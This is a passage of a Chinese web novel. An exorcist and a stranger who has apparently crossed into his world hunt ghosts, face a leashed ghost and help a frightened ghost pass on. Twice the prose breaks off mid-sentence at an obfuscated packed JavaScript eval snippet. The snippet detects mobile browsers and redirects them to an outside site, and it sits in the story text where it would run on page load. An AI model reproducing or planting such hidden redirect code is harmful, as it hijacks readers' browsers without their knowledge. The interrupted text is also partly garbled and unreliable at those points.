“伤药。”顾今安解释道,知道他警惕,端着碗自己喝了一口,再递给他,“普通伤药。” “……”薛戬还是没接,“不喜欢喝药。” 顾今安又拿出了油纸包着的蜜饯同药碗一起递给他。 薛戬:“……” 薛戬看着顾今安,看得出来这人是在真心诚意地想让他喝药。 他打量着顾今安,他现在还需要排除自己是被疯子捡了的可能。 万一是这人在玩复古情怀自导自演呢。 “这里除了你还有别人吗?” 顾今安知道他不会喝药了,也不勉强,把药碗和蜜饯放到桌上,“这里偏僻,除了你我只有掌柜了。” “我想见见他。”薛戬在观察他。 “好。”顾今安也不问他为何要见就转身帮他去叫掌柜。 顾今安行至半路突然想起什么来,回身问他,“对了,薛公子,你梦中呓语说要救人质,是真是梦?在何处救?是否紧急?” 薛戬挑起一边眉,“已经救走了。” 顾今安如释重负地点头,“那就好。” 薛戬盯着他的背影,本就阴沉的表情更像笼了一层风雨欲来的浓云,眸光沉了又沉。 这么问是什么意思?提醒他?挑衅他?难道在自己失去意识之后又发生了什么让营救失败了?不太可能。 但是…… 薛戬越想心头越紧。不行,他必须去确认营救成功了,他必须逃出去。 “不用了,”薛戬叫住顾今安,“不见掌柜了。” 不必再叫来一个人,平添麻烦。 顾今安都走到门口了,回头看向薛戬,他也不太明白这人想干什么,很可能是受伤了内心也变得脆弱有些害怕?故而放轻了声音问他,“你还好吧?” 薛戬没说话。 “哪里不舒服?”顾今安朝他走过去。 薛戬仍是不语。 顾今安看他的表情不太好,还不说话,估摸着真是哪里不舒服了,安慰道:“不必担心,忍一忍,假以时日会好起来的——还是把伤药喝了吧。”他还是没有放弃劝薛戬喝药,伸手端起桌上的药,手隔着碗壁探了探,“药凉了,我去重新温一下。” “不用了。我觉得身上敷的药草干硬了,确实不舒服,能不能帮我换一下。”薛戬坐在床上靠着床头,一双俊目瞥向他。 “才换的药草。”顾今安提醒道。 薛戬已经拉散了自己中衣的衣带结,露出紧实的肌肉和绑带,目光盯着顾今安,深刻俊朗的轮廓给眼底投下阴影,一双眸子黝黑,神情说不出的专注,“我手不方便。” 顾今安盯了他一会儿,“我看看。” 他伸出手去,手堪堪碰到薛戬的衣领就被扣住了手腕! 速度极快!他还来不及反应,便被大力一拽!脚下不稳,一阵天旋地转,重重摔到了柔软的床塌上,两只手都被粗蛮的大力制住了。 薛戬欺身压在他身上,把他两只手扣在他头顶,手背骨节突出,结实的小臂因为发力绷起青筋,一双漆黑的眼睛冷冷地盯着他,像一只随时都会发动攻击的狼。 薛戬身型高大,大片阴影笼罩住顾今安,几乎挡住了所有光亮,两人靠得很近,顾今安甚至能感受到他炽热的鼻息喷薄在自己脸上,四目相对,连对方的睫毛都清晰可见。 顾今安被压得动弹不得,连双腿也被薛戬精健的大腿夹住,手也挣不开。 方才他是当真完全没有防备,这人分明受着重伤却可以动作如此迅猛且力气惊人,确实小看他了。 “薛公子,你这是何意?” 薛戬没理他,一手扣住他两只手腕,另一手开始扯他的腰带。 ?顾今安眯起眼睛,手上已经开始积蓄蓝色微光。 凡人若是受到「念」的攻击除了实质性伤害还会被厄运或鬼纠缠上一段时间,但对凡人使用「念」的御鬼师也会受到反噬,轻则小伤、风寒,重则丧命——这也是御鬼师在没有确认对方究竟是厉鬼还是凡人之前不会贸然出手的原因。 曾有御鬼师误判凡人为厉鬼,发动攻击,导致自身命丧当场。 “你要做甚?”顾今安盯着薛戬,后者并没有看他的脸,只是在认真解腰带。他并未从那双警惕的深潭里窥见半分轻薄之意,那这是要做什么? 薛戬扯下他的腰带,把他的两只手捆在床头上。 顾今安:“……?”听闻因受伤而害怕的人会像野兽一样极具攻击性,这人是这种情况吗? 薛戬厉声警告他“别出声”后便从他身上翻下来,光脚踩在地上,从桌上拣起匕首,蹬上地上的皮靴,再没看顾今安一眼,推开窗户,翻身越了出去,消失在大亮的天光之中。 “……”顾今安听见窗外传来屋瓦被踩的响动,接着一声轻巧的落地声——这人身手很不错,还是在带伤的情况下。 只是……有必要把他捆起来吗?他也并没有拦着这人离开的意思吧。 估计是误会什么了。 顾今安叹了一声,捆住他双手的腰带被系得很紧,这种绳结方式他从未见过,很是牢固,他挣不开,只能割断了。 修长的指间亮起一阵蓝光,腰带顿时断裂开来,他坐起身来,无奈地只能系半根腰带了。 “咚咚”敲门声恰好响起。 “客官,您要的吃食来了。”门外是客栈掌柜的声音。 吃食是顾今安给薛戬准备药时吩咐掌柜备的。 “咦?另一位客人呢?”开门后掌柜不见薛戬,忍不住问道。 “他走了。” “走了?这……我没见他下楼来啊。”掌柜不解。 顾今安,没说话,接过掌柜手里的托盘。 掌柜看了一眼大开的窗户,到底是个人情练达之人,他也是看着眼前这位客人把那个伤重的人带回来的,大概知道个七七八八。掌柜再没说什么,合上门走了。 掌柜端来的清粥本是顾今安给薛戬备的,这会儿人走了,这粥只得自己来喝了。 他搅拌着清粥舀一勺放嘴里,隔着腾腾热气目光瞥见了对面桌上薛戬一开始穿着的奇怪衣服,说起来,薛戬方才似乎穿着中衣就翻窗走了,真的无事吗…… 现下需要照顾的伤患离开了,顾今安也该继续忙抓鬼之事了。 近五日他得守着昏迷不醒的伤患,不敢走太远,只能在附近林中寻找那夜猛鬼和怨鬼的踪迹,一无所获。 看来到最后他也没能知道那怨鬼害怕的究竟是何物。 还有,也不知那猛鬼为何能压制怨鬼。 他回忆那怨鬼是在他来日拂城的半路跟上他的,那时离日拂城还相去甚远,难道那时怨鬼就是为了带他来看日拂城边相思林里他所恐惧之物才跟上他的?隔那么远? 于理不合。 ——恐怕这些都随着怨鬼的消失要成为未解之谜了。 还有这个带着红光从天而降的薛戬究竟是何身份?来历不明,衣着古怪,受着重伤。 那夜的动静太大了,不少人看到了那个炸开的红光,有人云这是乱世将至的噩兆,有人言此乃红鸾降世大盛之相,众说纷纭。 这几日有不少人甚至寻来这林间一探究竟,但一无所获——毕竟人已经被顾今安捡走了。 不过,这五日高空中游离的「念」似乎也没有再表现出太怪异的行迹了。 薛戬的身世来历他也毫无头绪。 合计下来,当务之急是回日拂城处理陈老太一事。 有些厉鬼杀人是无差别的,有的厉鬼却是憎恶同一类人,专害此类人。 顾今安想试着找一找被陈老太所杀之人的共同之处,也就是当年那个江家上门女婿和牛七的共通点。 重返日拂城,顾今安在城门口遇见了几户正搬离此城的人家,马车拉着家中辎重,人员皆是满脸愁云。 城中街道更显空旷,气氛更是压抑。 衙门在公告栏贴出告示,公布牛七之死皆系鬼所为。 官府撂手不管。 “大人大人!”一个苍老的声音在呼唤。 顾今安行在小巷,没有意识到这是在喊他,直到一位头发雪白的耄耋老人拉住了他的袖子。 “御鬼师大人!”老妪拄着拐杖就要行礼。 顾今安怔了一瞬,赶紧扶住她,“不是‘大人’——老人家有何事?” “大人大人!您是天地官,您帮帮婉姐!”老妪抓着顾今安的袖子不放,一双浑浊的眼睛满是急切。 时间带走青春,淡化记忆,或许她对御鬼师的印象还停留在十六年前,甚至更早。来来往往的人,断断续续的回忆,只有衰老始终如一。 “‘婉姐’是哪位?”顾今安问道。 “陈婉阿姐啊!” 是指陈老太? “我昨晚见到她了,她来找我,同生前一样,同她年轻时一样,她拉着我的手什么都不说,她只是哭,她什么都没说,她命苦啊,什么也没说,没说……您帮帮她吧?请求大人帮帮她!”老妪越说越激动,面上的皱纹越发深刻,揪着顾今安袖子的枯手开始颤抖起来。 “老人家先冷静。”顾今安扶着她生怕她摔了。 老妪的嘴唇开始哆嗦,“她不是坏人,她很好的,她平生最恨无情无义之人,她是好人,是善良人,她怎会这般不幸……” “您是御鬼师,您一定有法子帮她!她生前就不幸,做鬼也要哭……拉着我哭……您帮帮她!大人啊!” “娘!”一个中年男子从屋里出来见到这一幕,上前来拉过老人,面露不悦,“娘!御鬼师早没落了,没有什么‘大人’了!您别被那群招摇撞骗的神棍给骗了!咱别管别人的闲事了,回屋吧。” 男子瞪了顾今安一眼,扶着老妪往回走。 老妪被儿子拉着还频频回头,呢喃着:“大人帮帮她,帮帮她……” “砰!”重重的关门声隔断了人语。 小巷又恢复了阴冷静谧,破败生藓的老墙挤出一条偪仄崎岖的小道,顾今安收回目光,背着剑继续朝前走去。 天色阴沉,两旁建筑高大遮天蔽日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987208|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小道的尽头只有一丝微光,他腰间挂着的破烂八卦罗盘晃晃悠悠,失去原有的作用,只是一个倔强的符号。 顾今安边走边思忖着老妪的话。 陈老太全名陈婉。生前很不幸。老妪说她“最恨薄情寡义之人”…… 薄情寡义之人。 ——那日命案现场不是有人说死去的牛七是个并不如何的人吗?有负妻儿。 那么之前死的那个江家赘婿又如何?既然是入赘的,不至于敢对妻儿不好吧? 现下江家已经搬走了,根本无处可问。 事实证明,顾今安多虑了—— “江家啊!”虎背熊腰的大娘一边嗑瓜子一边回答顾今安,厚厚的嘴唇还挺灵活,嗑瓜子说话两不误,“我知道啊!我们都知道啊!谁不知道?” “是啊!”坐在旁边的大娘附和道,“城里人尽皆知。” “江家姑娘是个残疾,天生无手,生活难以自理,她父母很疼女儿的,就想着给她招个赘婿。” “江家的条件,有些小钱,但也不是什么大富大贵的人家,能招到什么金龟婿。” “是啊,招到的还是个鳏夫。” 两位大娘一唱一和。 “听说是□□他还了赌债他才愿意入赘的吧?”大娘又嗑了一口瓜子。 “正是!就是因为那浑小子成日赌博,把家败光了,他原来的媳妇才自尽的呢。” “哎……好在没孩子,不然苦了孩子啰!” “江家父母让他入赘后就不许进赌场了。” “结果他就在来江家的路上,遇到了陈老太,然后就……”大娘拿着瓜子壳在自己脖子上比划了一下,表示被杀了。 “哎……就这样呗,江家吓得连夜搬走了。” “——你问这个做甚?你要除掉那个……陈吗?”大娘问顾今安,声音越来越小,心头还是很忌讳。 “是。”顾今安就毫不避讳了。 “哎!别了,别搅合,之前便吓跑了个御鬼师。”大娘撇着嘴,挥挥手。 “孩子,你有没有想过做些别的——不做御鬼师营生了?”另一个大娘打量着顾今安。 “这个……并未。”顾今安提了提肩头的剑带。 “哎……可惜了,还想着你能同我闺女……”大娘叹息。 * 顾今安辞别了两位大娘。 如此看来,江家赘婿和牛七似乎都是有负妻儿之人。是因为这个吗? 陈婉生前情路确实坎坷,还需要去乌城探望孩子,所以,她对负心汉深恶痛绝,怀着杀心? 顾今安行于城中,城里又死了第二个人,人心惶惶的,城中百姓之前觉得绕着陈老太走就好,现下也害怕起来了,保不齐那日被害的就是自己呢?这谁说得准。 看到御鬼师不免也要权衡一下,是这个俊美的御鬼师可怕,还是杀了两个人的陈老太可怕。 顾今安也因此零零散散从城里人口中得知了些许关于陈婉的事——同昨日客栈老板讲的大差不差。 但还是缺了什么。 顾今安与鬼为谋十多载,最是清楚,若单单如此似乎并不足以让陈老太成为厉鬼。 厉鬼者,多成形于屠城灭族的滔天怨「念」。 所以,那个青楼的火。该是陈婉放的吧。 在纸醉金迷的深夜,一把大火,逃命都来不及,她怎会还带着收拾妥帖的身外之物?恐怕是早有预谋。 她放火害死了整个青楼里的人,这个怨「念」勉强够了。 可乌城的孩子、钟家富商的死、与之结亲的乞丐同她又有何渊源? 此时已是人定,估摸着时间,顾今安准备去会会陈老太了。 今夜的雾比那日城中的还要浓,夜色同雾气一道弥漫在惶惶不安的楼宇之间,各家雕窗皆瞌目自保,对黑暗里的秘密不闻、不问、不视。 街道冷冷清清,几盏孤灯偶尔瞥一眼同样孤身的来客。 顾今安把凉透的手攥拳放在嘴边呵了一口热气,前路被雾气包围,他走得很慢。 拐过一个弯就是陈老太的面铺了,顾今安侧头看去…… 空荡荡。 陈老太不见了。 一盏孤火拨开夜色和雾气,在它的下方,只有一个空荡荡的大棚。 她今日为何没出现? 按城中人说的“时常有人碰见”,所以她并不是每夜都会出现在这里摆摊? 不对。 白日里这里连大棚都没有的。这大棚也是陈老太的。 所以只是陈老太不在这里,并不是她没有出现。 那她撇下面铺去哪儿了? 顾今安思忖着,猛地看到那个大棚顶上亮起了无数双眼睛,像野兽反光的兽瞳,透过夜色冷冷注视着他,密密麻麻,令人毛骨悚然。 那些是什么? 顾今安缓缓靠近,他发现那个大棚顶部爬满了各种各样畸形的恶鬼!溃烂的皮肤,扭曲的面容,一个叠着一个,姿态扭曲,能有数百只! 一双双阴冷的眼睛紧紧盯着他。 这些鬼一直在上面吗?那日他吃面的时候也在顶棚上? 一回想有些恶寒。 它们并非很厉害的鬼,也只是趴在大棚上,没有要攻击他的意思。 只是为何要趴在陈老太面铺顶棚上? 顾今安突然想起客栈掌柜提到,陈婉是被大棚砸死的。 是这些鬼干的吗? 这些鬼不是带有杀戮气息的鬼,并不会害人,顾今安决定先不管他们,关键是陈老太去哪儿了? 他正在在想着,一回头就对上了一张惨白的脸! 6.鬼影谜踪黑夜重逢 顾今安被身后突然出现的脸惊了一下,脱手便甩出一把蓝光闪烁的长刀,气势汹汹劈了过去! 这一击力道有些没控制住,滚滚蓝光几乎照亮了半条街道! 千钧一发,那人匆匆闪躲,仍被那蓝光劈中! “啊!!!!” 伴随一声凄厉惨叫,在散尽的蓝光里,一只胳膊滚到了顾今安脚边。 那“人”倒在地上,发出尖锐刺耳的惨叫“啊啊啊!!!”声音比指甲划过铜器还要令人头皮发麻。 这是……前几日被猛鬼袭击的那个怨鬼! 他的模样非常狼狈,用仅剩的一只胳膊在地上半撑起身体,他的脖子被恶鬼咬断了,断口破破烂烂,只剩些微皮肤经脉相连,头颅垂在肩头,几乎是横着的,黑色血液还在从脖颈断处、手臂断处涌出,浸染了他全身的粗布麻衣,迸溅在他惨白的脸上,融化的皮肤垂坠着,依旧空洞惊恐的双眼紧紧盯着顾今安,圆张着嘴巴。 面对这样一个血淋淋横着的头,还被他注视着,在空无一人的漆黑街道里着实瘆人。 “抱歉……”顾今安弯腰捡起脚边的断手,走到他身侧递给他。 怨鬼慢慢从地上站起来,他的头横在肩上险些滚到后背上,顾今安垂眸就能看见他脖颈断处的骨头血肉经脉和不断涌出来的血,想扶又不敢扶…… “害怕!”诡异的声音从怨鬼喉间滚出。 他伸手接过自己的断手,那双空洞的眼睛里隐隐有哀怨的意味。 他快“死”了,快魂飞魄散了。——顾今安判断。就算自己不断他的手,他也被那恶鬼伤得不轻。 现下追问他是如何逃出恶鬼之手的恐怕也毫无意义了。 “如何能帮你?”顾今安只问了这一个问题。 在怨鬼魂飞魄散之前净化怨鬼的「念」让其得以轮回便是对濒“死”的怨鬼最好的帮助,可怨鬼之所以是怨鬼,自然是认为这世间尚有比轮回更为重要的事必须完成。 而显然,这只怨鬼特立独行—— 他指了指自己,又捏着断手指向头顶的无极天。 ——他要轮回。他想让自己身上的「念」归往无极天,让魂魄得以解脱。 “好。”顾今安答应他。 “等……”怨鬼横着头突然变得有些犹豫,似乎是思考了会儿,他捏着断手又指向了一个方向,“害怕……” 他这次指的不再是之前的相思林,而且另一个方向。 顾今安猜测他的意思,“你想带我去看看你所惧之物?” 怨鬼仍捏着断手倔强地指着那个方向,无声表达他的肯定。 “走吧。”顾今安扶了扶肩上的剑带,他也很想知道这个怨鬼所惧是何物。 像那日一般,一鬼一人,一前一后,行于夜色。 雾气冷冽,他们走得不紧不慢,穿过无人的巷陌,长夜和长街都没有尽头。 顾今安跟在他身后思忖着别的事——陈老太今夜去了何处,莫不然又去行凶? 可哪怕是行凶,自己有心救人,又无力知晓该去何处寻她、防她。 顾今安看着前面怨鬼的背影,心念一动,问道:“你可知陈老太在何处?——就是方才那面铺的老妪。” 怨鬼停下脚步,缓缓转身,肩上横着的头半隐在夜色与雾色间,那双空洞的眼睛直勾勾地盯着顾今安。 更深露重,他看起来有些模糊不清。 “你……身……后……”尖锐嘶哑的声音艰难地咬字。 顾今安心头重重一跳!瞬间浑身血液倒流。 他迅速转过身去!手中蓝光蓄势待发。 借着朦胧月色,他看见远处的巷弄口站着一道黑色的身影。 顾今安警惕地盯着那身影。 晚雾徐徐游走,他们就隔着半条长街。 顾今安心念如电,陈老太想做什么? 那黑色的身影动了! 它失魂落魄地飘进了对面的巷子里…… ——它只是个游魂而已。 虚惊一场。 “……”顾今安回头瞥向怨鬼,怨鬼正弯着嘴,笑得甚是诡异。 骗人的。要报复自己砍了他的手。 顾今安被他唬得心有余悸,故意抬手冲他打了一记响指,蓝光随响指一闪而过。 怨鬼不笑了,退开那蓝光一丈远,半躲在夜色里。 “继续走吧。”顾今安估摸着这怨鬼也不知陈老太踪迹。只能先搁置此事了,遇何事就办何事,先解决这怨鬼的事儿。 一人一鬼继续朝“恐惧”逼近。 空中五色「念」缓缓纠缠。 月色淡淡,天色昏黑,什么都有可能潜藏在幽深的巷弄古墙后。 顾今安一路上都在警惕四周,保不准会遇到陈老太呢? “啊!!!!”怨鬼忽地惊声尖叫了起来,跌跌撞撞朝右跑开。 顾今安一愣,在晃神的瞬间,一个黑影忽地从左侧拐角的视野盲区扑了过来! 冲力之大,顾今安顿时被扑倒在地!剑夹在他后背与地面之间,猛地硌在骨头上,剧烈的痛感从背脊迅速蔓延到手臂腰际,痛得他使不上力来。 他几乎是本能地用手肘抵住扑过来那东西的脖子,才没让那一口锋利的獠牙咬到他脸上。 一双带着死亡气息的灰白眼睛直勾勾盯着他,带着血腥味的涎水滴到了他的脖子上,湿漉漉的。 是那日的猛鬼!难怪怨鬼反应那么大。 它两个锋利的爪子朝顾今安脸上呼来,被顾今安抽出的两张符纂定住。 这猛鬼异常得强,顾今安这两张符只能堪堪定住它的双手,并且可能维持不了太久。 它的獠牙还惦记着他的脖颈,在用大力朝他逼近。 不对劲儿。 顾今安发现自己被他压住没办法使用「念」!自己刚吸入体内的「念」都会一滴不剩地涌入这猛鬼的体内!顾今安第一次遇见这种情况。 不太妙。它力气大得惊人,顾今安的腿被它压制住,踹也踹不了,只能维持着这个姿势,用手肘艰难抵住他的脖子,避开它要咬上来的尖牙。 顾今安忽地注意到这猛鬼的脖子上套着一个铁链——是有人豢养的猛鬼! 那日夜色浓郁隔得又远并未注意到铁链。 难怪它比别的猛鬼厉害,甚至能压制怨鬼,想必这养鬼之人给他喂了不少“好东西”,能吸走「念」恐怕也是此人从中作梗。 但是那人为何要指使这猛鬼来伤那怨鬼?现在又来伤他? 他不记得自己曾招惹过能养鬼的人物。 那个铁链上似乎还挂着个木牌?和死去牛七身上的那个木牌材质相仿,露出的一半也有相似的“无极天”纹路,但它斜着卡在猛鬼的肩后,顾今安这个角度看不全面,不能确定。 顾今安被猛鬼身体压住的那只手艰难地在自己腰间找寻其他可以助他脱困之物。 “喂!干嘛呢!”一个低沉声音在不远处炸响,语气带着警告意味。 顾今安被恶鬼挡住了视线,并不知是何人,他也不知此人能否看见这恶鬼,问的是自己还是恶鬼,他没有求助也没有回答,挪动手指艰难地摸到了揣在另一侧的符篆一角边沿。 “起来!”那声音好像近了点。 顾今安死命抵住猛鬼脖子的手臂已经开始发抖了,这猛鬼力气比常人大上不知几何,他另一只手正在艰难移动手指,想拿出那张符篆。 “你他妈听不懂人话吗?!叫你起来!” 伴随着一声怒喝,一股大力直接把那猛鬼囫囵个提了起来! 压在身上的重量一空,顾今安的手一下抓住了自己腰带里的符篆,有些没回过神来。 他抬眸看去,借着远处幽微的灯火,见一个高大身影揪着猛鬼的衣襟,挥起一拳重重砸在了猛鬼脸上! “砰!”皮肉相撞的闷响。 那猛鬼似乎也未料到,被打得头顺着他的施力方向转去,诡异地折到了背后,灰败的双眼同还在地上的顾今安对视着,獠牙微微打颤,像是在笑又像在哭。 顾今安愣住了。 “艹!”薛戬没想到自己这一拳下去把这人的头打得转了个180度。 正当他在思考这人死了怎么办的时候,这人消失了。 对。消失了。 忽得一下,没了。 连像PPT动画的淡出过程都没有,就那么眨眼间消失了,连手中抓着他衣襟的触感也是瞬间消失的。 这下,愣住的人成了薛戬。 顾今安把符篆放回原处,从地上站起来,整理了一下衣袍,朝薛戬作揖,“多谢相助,想不到你也是御鬼师。” 毕竟只有御鬼师能不受限制地看到鬼、接触鬼。 没有回应,薛戬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992583|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保持着方才的动作一动不动。 “……你没事吧?”顾今安抬眸打量他。 薛戬转头看向他,并未回答他的问题,自顾自道:“你知道我大学什么专业吗?” “嗯?”顾今安不解,“原来你是大学孺生……” “——应用物理。”薛戬继续自说自话。 “毕业论文关于电磁干扰。电场、磁场你知道吧?刚才那个……可能是不同波段产生干扰,影响我们大脑颞叶正常活动而产生的错觉。”薛戬更像是在说服自己。 顾今安眨眨眼睛,听不懂。 “或者,就是一种非常简单的光学现象。”薛戬思忖,“那人只是一个虚像。” “那‘人’……是猛鬼。”顾今安提醒道。 薛戬:“……” 薛戬看着顾今安,不知该做何表情。 今日他离开顾今安后,一个人四处闲逛想找到逃回去的路,然后他意识到了事情的严重性——这绝非是敌人的心理诡计,他们绝不可能布置出这么庞大又自由的“戏台”。 同理,也更不可能是他被自导自演的疯子捡到了。 他可能是……穿越了,穿越到一个不存在的朝代。 ——真是荒诞至极。 而刚才那一幕,更是冲击着他的认知。 不是史书记载的年代,所以,他这是网络上流行的什么“穿书”吗?他妈的还穿进了一个鬼故事里? 精彩。 难怪天空中还飞舞着乱七八糟的彩色云雾。 薛戬太阳穴突突直跳,好不容易才平复了点,“它跟踪过我,它跟踪我做什么?” “你说它跟踪你?”顾今安皱眉,“刚才那个猛鬼?” “对,白天我瞥见个黑影在我身后不远处,样子古怪得很,刚才看了它,我确定是它。”薛戬面如菜色,陷入人生迷茫。 顾今安不太清楚,这个猛鬼古怪的地方太多了,恐怕只能找到豢养它的人才可能探明原因了。 顾今安打量着放空中的薛戬,薛戬的中衣外披了一件不知从何而来的黑色外衣,不知他今日经历了什么,又为何回到此处,“你可还好?” “不是很好。”薛戬如实道。 “那你先忍忍,我还有要事需处理。”顾今安说完,转身朗声喊道:“害怕!” 薛戬:“……?” “害怕!” “害怕!” 薛戬没忍住:“你他妈害怕什么呀?” “怨鬼丢了,我得先找到它,否则它可能会‘死’。”顾今安解释完,继续找鬼,“害怕?你在哪儿?” 薛戬张了张嘴,不知该先吐槽“找鬼”还是“鬼会死”,忍了又忍,“找鬼需要喊‘害怕’?” 莫不然是越害怕鬼出现的概率越高? 合理。 “不是,因为我不知他名姓,他常说‘害怕’,我便只能唤他‘害怕’。” “行,你接着找。”薛戬服了。 顾今安举步朝前走去:“害怕?你在哪儿?” 薛戬心头天人交战了一会儿,还是跟上了顾今安,他对这个陌生的地方几乎一无所知,回到一开始的地方,跟着一开始遇见并救了他的人,是下意识的行为,目前可能也是最好的选择了。 “害怕?”顾今安还未见到怨鬼的身影,可怜的怨鬼被吓退这么远。 薛戬视力极好,猛然瞥见前方墙角有一张横着的人脸,长得极其恐怖,心头一跳,伸手一把抓住前面人背后的剑把他拉住。 顾今安被剑带勒得后退了两步,险些撞进薛戬怀里,“何事?” 薛戬压低声音,“前面有人……鬼。” “在哪儿?”顾今安探头视察前方。 薛戬松开顾今安的剑,心头疑惑这剑怎么这么烫手?抬手给他指了个方向。 顾今安眯着眼睛看了一眼他示意的方向,“害怕!” 薛戬:“……” 怨鬼见二人走来,朝墙后躲了躲,直到顾今安到它身侧,它又躲到顾今安身后去。 顾今安想不明白它躲什么,“猛鬼已经离去,你莫害怕。” 怨鬼横着的头探出顾今安的胳膊,空洞的眼睛盯着站在不远处的薛戬,捏着断手缓缓指向他,“害怕……” 顾今安一怔,怕他? 薛戬:?我他妈还没害怕呢,你怕我? 7.所惧所思梦归往昔 “害怕”害怕薛戬? 顾今安有些怔愣地看着薛戬,回忆起上次怨鬼说害怕,带自己去相思林便遇见了此人;方才带自己过来又再此遇见了此人,两次都对上了。 可为何害怕此人? 还从很远的地方就跟着自己一路过来了,就为了告诉自己此人很可怕。 难道这人暴露了自己是厉鬼?所以怨鬼怕他? 夜色浓郁,四周寂寥无声,顾今安站在怨鬼和薛戬之间,突然有些害怕…… “为何怕他?”顾今安直接问怨鬼。 怨鬼空洞的眼睛望向顾今安,握着断手指了指天,指尖从上迅速滑落,指到地上,划出一道从天到地的线。 “你的意思是,他是从上方落下来的?”顾今安解读它的肢体动作,“这我知道,他确实从上方坠落。” 怨鬼摆了摆断手表示不是此意,他又用断手指天不断划着圆圈。 顾今安猜测,“你是指无极天?” 天空和无极天可是两个不同的东西。 无极天是盘踞在天空之下无数的「念」,通玄奥,接亘古。 怨鬼停下手头动作,表示他猜对了。 薛戬是从无极天中而来。 顾今安皱眉。 不可思议,那堆缠绕的「念」里竟然能落下东西来?闻所未闻,那这落的是人是鬼? 当时他降落时狂风大作,红光闪耀确实也史无前例。 “什么?什么无极天?所以我是从天上落下来的吗?”薛戬在旁边看了半天,听了半天,发现还是不明白自己的来历,拧紧剑眉,“那我要怎么回去?”——他比较关心这个。 怨鬼见薛戬朝自己逼近了几步,吓得直往顾今安身后躲。 “你细说。”顾今安对怨鬼道。 “不……知……”怨鬼警惕地盯着薛戬。 “什么叫‘不知’?那你怕我什么!?说清楚!”薛戬语气变得不耐,伸手想把那怨鬼从顾今安身后揪出来。 “啊!!!”怨鬼尖叫着躲开。 顾今安觉得耳朵震得疼。脑子也不清醒了,薛戬说的“回去”是回何处?回无极天? 怨鬼说害怕薛戬莫不然是很早就预料到了他会从无极天落下来? 那么怨鬼害怕的究竟是异常的无极天以及其中来客,还是单单怕薛戬此人? 怨鬼扯着顾今安的袖子,牙关打颤,声音嘶哑可怖,“死死死死死死死死死死死死死……” “死什么死!?”薛戬皱眉,觉得瘆得慌,“晦气!能正常点不?” 让一个鬼正常点,不正常的怕是他。 怨鬼是说他自己快死了。 ——顾今安明白怨鬼的意思,现下自己也知道了他所害怕的东西,旁的估计这怨鬼也说不出个所以然了,怨鬼也在催促他帮自己解脱了。 顾今安朝怨鬼探出手,蓝光自他长直的指间亮起,在接触到怨鬼周身稀薄黑雾的瞬间,蓝光绕手旋起一个漩涡! 薛戬再次愣住。 蓝色漩涡越旋越大,光芒耀眼,在卷起的漩涡中,怨鬼化作黑雾与蓝光缠绕,迅速涌入了……顾今安体内。 薛戬:“……” 顾今安的发丝在搅动的空气里飞扬,点点细碎的金光从黑雾中剥离出来,慢慢汇向上空,在蓝光与金光的余光里,他侧身看向薛戬。 光影交错得诡异,事情有些离谱,对上顾今安的眼睛,薛戬在认真思考自己要不要转身就跑。 四周静默了一会儿,夜风归寂。 薛戬挑眉:“你……把它吃了?” 用肚子上的嘴?像动漫《千与千*》里的无脸男? “不是,我只是剥离了他的「念」,方才那金光便是他的魂魄,已入轮回。”蓝光散尽,顾今安垂下手。 净化怨鬼魂魄上的「念」让魂魄归往轮回,这就是御鬼师要做的。 “意思是他走了?”薛戬也不想管什么净化不净化的,“他知道关于我来这里的事儿,那他走了我问谁去?!” 顾今安答道:“他是对异变的无极天感到害怕,也想让我帮他解脱,所以半路跟上了我,那夜无极天的异变更为明显,所以他引导我去无极天最浓烈的中心,你就是从那里落下来的,它之前并不知道你会落下,见你从无极天落下,他自然就怕你了。” 顾今安方动用了顾氏御鬼世家的特殊的能力,与这怨鬼【共情】。 [共情]——在净化鬼之际施展,可感受鬼的爱恨贪嗔痴,与之感同身受,知晓其中事。 共情效果的好坏除了御鬼师自身能力以外,有一部分取决于鬼本身的意愿,一部分取决于对此鬼生平的了解程度。 顾今安可以说对这个怨鬼一无所知,而这鬼显然也没有想让顾今安知晓的事,所以共情也只能知道他口中的“害怕”具体是何意,知道他为何跟着自己。 薛戬沉默了一会儿,“先说,‘无极天’到底是什么。” 顾今安指了指天上,“你能看见鬼,应该也能看见那些纠缠漂浮的五色云雾吧?” “嗯。”薛戬白日里就注意到空中那些奇怪的东西了,这也是让他意识到这里并非敌人舞台的原因之一。 “这些云雾叫「念」,它们构成的这一整片天就叫‘无极天’。”顾今安解释道。 哦。薛戬想,就是云层下面的那一层五颜六色的云雾叫“无极天”。 天空下的天叫无极天,自己是从其间落下来的。 “所以,怎么回去?”薛戬挑眉。 顾今安摇头,“不知。” “那我为什么会从那里落下?” “也不知。” 薛戬再次沉默。 这个世界乱七八糟的,还有很多他不知道的东西,比如「念」又是干嘛的,是不是到处都是鬼,他该怎么靠自己避开或是制服鬼,别还没来得及回去就死在这里了。 他看向顾今安。这人好像会魔法,有点古怪,但是毕竟救过自己,也是目前最清楚自己情况的人了,而且还可以“吃”鬼,跟着他或许要安全些。 “能不能给我讲讲你们这地方?”薛戬觉得当务之急还是先搞清楚现状,再找找回去的法子。 顾今安抬眸看了他一眼,明白他是打算跟自己一起了,“先找个落脚之处吧。” * “世间纷繁,皆因「念」起; 人心诡谲,全系「念」生。 亡者,为「念」所缠,化而为鬼。 生者,以「念」为刃,是为御鬼师。 二者之能同根同源,二者之心善恶分明。” 